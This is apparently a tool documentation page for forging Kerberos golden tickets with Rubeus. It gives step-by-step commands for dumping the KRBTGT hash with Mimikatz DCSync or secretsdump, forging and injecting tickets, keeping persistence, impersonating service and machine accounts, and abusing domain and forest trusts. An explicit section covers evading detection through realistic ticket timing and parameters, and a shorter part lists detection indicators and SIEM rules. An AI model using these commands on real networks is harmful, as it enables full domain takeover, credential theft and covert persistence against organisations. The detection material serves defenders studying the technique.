Forge golden tickets for domain persistence and privilege escalation
Golden Ticket attacks represent the pinnacle of Active Directory persistence, providing domain-wide access that persists even after password changes and system reboots.
Golden tickets are forged Ticket Granting Tickets (TGTs) created using the KRBTGT account’s password hash. These tickets provide persistent, high-privilege access to Active Directory environments by appearing completely legitimate to domain controllers.
The forged TGT in base64 format for use or storage
Copy
Ask AI
[*] Action: Build TGT[*] Using LDAP to retrieve information for CORP.LOCAL[*] Searching path 'LDAP://DC=corp,DC=local' for '(objectClass=domain)'[*] Found domain object: DC=corp,DC=local[*] Domain SID: S-1-5-21-1234567890-987654321-111111111[*] Searching for target user 'admin'[*] Found user object: CN=Administrator,CN=Users,DC=corp,DC=local[*] User SID: S-1-5-21-1234567890-987654321-111111111-500[*] Building PAC[*] Domain : CORP.LOCAL (CORP)[*] SID : S-1-5-21-1234567890-987654321-111111111[*] UserId : 500[*] Groups : 512,513,518,519,520
LDAP mode automatically discovers domain information, making golden ticket creation much easier by eliminating the need to manually specify domain SID and other parameters.
Copy
Ask AI
[!] Invalid KRBTGT hash format![!] Please provide a valid RC4, AES128, or AES256 hash.[!] Unable to connect to domain controller for LDAP queries.[!] Please check network connectivity and domain name.[!] Insufficient privileges for LDAP queries.[!] Consider using manual mode with /domain and /sid parameters.
Common error scenarios:
Invalid hash format: KRBTGT hash must be valid hex string
Network issues: LDAP mode requires DC connectivity
Permissions: LDAP queries need authenticated domain access
Invalid SID: Manual mode requires correct domain SID format
Extract KRBTGT credentials using DCSync or other methods:
Copy
Ask AI
# Using Mimikatzmimikatz.exe "lsadump::dcsync /user:krbtgt"# Using Impacketsecretsdump.py domain/user:password@dc01.corp.local# Using Rubeus with delegationRubeus.exe dump /service:krbtgt /nowrap
2
Domain Information Gathering
Collect required domain information (if not using LDAP mode):
Copy
Ask AI
# Get domain SIDGet-ADDomain | Select-Object DomainSID# Alternative methodwhoami /user
3
Golden Ticket Creation
Create the forged TGT with appropriate parameters:
Copy
Ask AI
# LDAP mode (recommended)Rubeus.exe golden /user:admin /rc4:krbtgt_ntlm_hash /ldap /ptt# Manual modeRubeus.exe golden /user:admin /domain:corp.local /sid:S-1-5-21... /rc4:krbtgt_hash /ptt
4
Verification and Usage
Verify the ticket was created and test access:
Copy
Ask AI
# List current ticketsRubeus.exe klist# Test domain controller accessdir \\dc01.corp.local\c$# Request service ticketsRubeus.exe asktgs /service:cifs/fileserver.corp.local
5
Persistence Operations
Use the golden ticket for persistent access:
Copy
Ask AI
# Save ticket for later useRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /outfile:golden.kirbi# Create additional tickets as neededRubeus.exe golden /user:serviceaccount /rc4:krbtgt_hash /ldap /groups:513,1001
# Create ticket for existing user with normal privilegesRubeus.exe golden /user:john.doe /rc4:krbtgt_hash /ldap /groups:513 /id:1001# Gradually escalate with additional ticketsRubeus.exe golden /user:john.doe /rc4:krbtgt_hash /ldap /groups:513,1001,1002
Show Time-Based Evasion
Copy
Ask AI
# Create ticket with realistic timingRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /authtime:"10/25/2024 09:00:00" /endtime:"10/25/2024 17:00:00"# Short-lived ticket for specific operationsRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /endtime:"10/25/2024 23:59:59"
Show Service Account Impersonation
Copy
Ask AI
# Impersonate service accountsRubeus.exe golden /user:svc_sql /rc4:krbtgt_hash /ldap /groups:513 /id:1100# Machine account impersonationRubeus.exe golden /user:COMPUTER$ /rc4:krbtgt_hash /ldap /groups:515
Hide Child Domain Access
Copy
Ask AI
# Target child domainRubeus.exe golden /user:admin /domain:child.corp.local /rc4:krbtgt_hash /ldap# Use parent domain KRBTGT for child accessRubeus.exe golden /user:admin /domain:child.corp.local /sid:child_domain_sid /rc4:parent_krbtgt_hash
Show Trust Relationships
Copy
Ask AI
# Cross-forest trust exploitationRubeus.exe golden /user:admin /domain:partner.com /sid:partner_domain_sid /rc4:trust_key# Enterprise Admin across forestRubeus.exe golden /user:admin /domain:corp.local /rc4:krbtgt_hash /groups:519 /ldap
Hide Multiple User Tickets
Copy
Ask AI
# Create tickets for multiple usersRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /outfile:admin.kirbiRubeus.exe golden /user:backup_admin /rc4:krbtgt_hash /ldap /outfile:backup.kirbiRubeus.exe golden /user:service_admin /rc4:krbtgt_hash /ldap /outfile:service.kirbi
Show Different Privilege Levels
Copy
Ask AI
# Domain Admin levelRubeus.exe golden /user:domain_admin /rc4:krbtgt_hash /ldap /groups:512,513,518,519,520# Standard user levelRubeus.exe golden /user:normal_user /rc4:krbtgt_hash /ldap /groups:513# Service account levelRubeus.exe golden /user:svc_account /rc4:krbtgt_hash /ldap /groups:513,1001,1002
High-Impact Attack: Golden tickets provide complete domain access and can be detected through various monitoring techniques.
Detection Vectors
Evasion Techniques
Defensive Countermeasures
Hide Ticket Analysis
Unusual Ticket Characteristics:
Tickets with 10-year validity periods
Non-existent usernames in tickets
Tickets created outside normal hours
Unusual group memberships or privileges
Behavioral Indicators:
Authentication without prior logon events
Access to resources without service ticket requests
Privileged operations from low-privilege accounts
Show Event Log Monitoring
Windows Event Logs:
Event 4769: Service ticket requests with unusual patterns
Event 4768: TGT requests that don’t correlate with golden ticket usage
Event 4624: Logon events that may not occur with golden tickets
Event 4672: Special privileges assigned without normal authentication
Show Network Monitoring
Kerberos traffic analysis for unusual patterns
TGS requests without corresponding TGT requests
Authentication to services without normal authentication flow
Unusual timing patterns in authentication events
Hide Realistic Ticket Parameters
Copy
Ask AI
# Use realistic validity periodsRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /endtime:"12/31/2024 23:59:59"# Use existing usernamesRubeus.exe golden /user:existing_admin /rc4:krbtgt_hash /ldap# Use standard group membershipsRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /groups:512,513
Show Timing Considerations
Copy
Ask AI
# Create tickets during business hoursRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /authtime:"10/25/2024 10:30:00"# Use realistic authentication timesRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /authtime:"10/25/2024 08:15:00" /starttime:"10/25/2024 08:15:00"
Show Operational Patterns
Limit the number of golden tickets created
Use different usernames for different operations
Avoid obvious administrative actions immediately after ticket creation
Restrict DCSync permissions to necessary accounts only
Detection Rules:
Monitor for DCSync operations against KRBTGT
Alert on unusual KRBTGT password changes
Track accounts with replication permissions
Show Ticket Monitoring
Advanced Detection:
Implement Kerberos ticket inspection
Monitor for tickets with unusual characteristics
Correlate authentication events with user behavior
Use machine learning for authentication anomaly detection
SIEM Rules:
Copy
Ask AI
-- Detect long-lived ticketsSELECT * FROM kerberos_eventsWHERE ticket_lifetime > '1 day'AND user NOT IN (service_accounts)-- Detect unusual group membershipsSELECT * FROM kerberos_eventsWHERE groups CONTAINS 'unusual_high_privilege_groups'
Problem: Invalid KRBTGT hash format errorsSolutions:
Verify hash is exactly 32 characters for RC4
Ensure AES keys are proper length (32 chars for AES128, 64 for AES256)
Remove any spaces or line breaks from hash
Verify hash was extracted correctly
Copy
Ask AI
# Verify hash formatecho "hash_length: ${#krbtgt_hash}"# Test with RC4 hashRubeus.exe golden /user:test /rc4:32ed87bdb5fdc5e9cba88547376818d4 /domain:corp.local /sid:S-1-5-21...
Problem: LDAP queries failing in automatic modeSolutions:
Verify domain controller connectivity
Check DNS resolution for domain name
Ensure current user has domain authentication
Try manual mode if LDAP fails
Copy
Ask AI
# Test LDAP connectivitynslookup corp.local# Use manual mode as fallbackRubeus.exe golden /user:admin /domain:corp.local /sid:S-1-5-21... /rc4:krbtgt_hash
Problem: Forged ticket doesn’t provide expected accessSolutions:
Verify ticket was injected successfully
Check group memberships in ticket
Ensure target services are accessible
Verify KRBTGT hash is current
Copy
Ask AI
# Verify ticket injectionRubeus.exe klist# Test with different groupsRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /groups:512,513,518,519,520# Describe ticket contentsRubeus.exe describe /ticket:golden.kirbi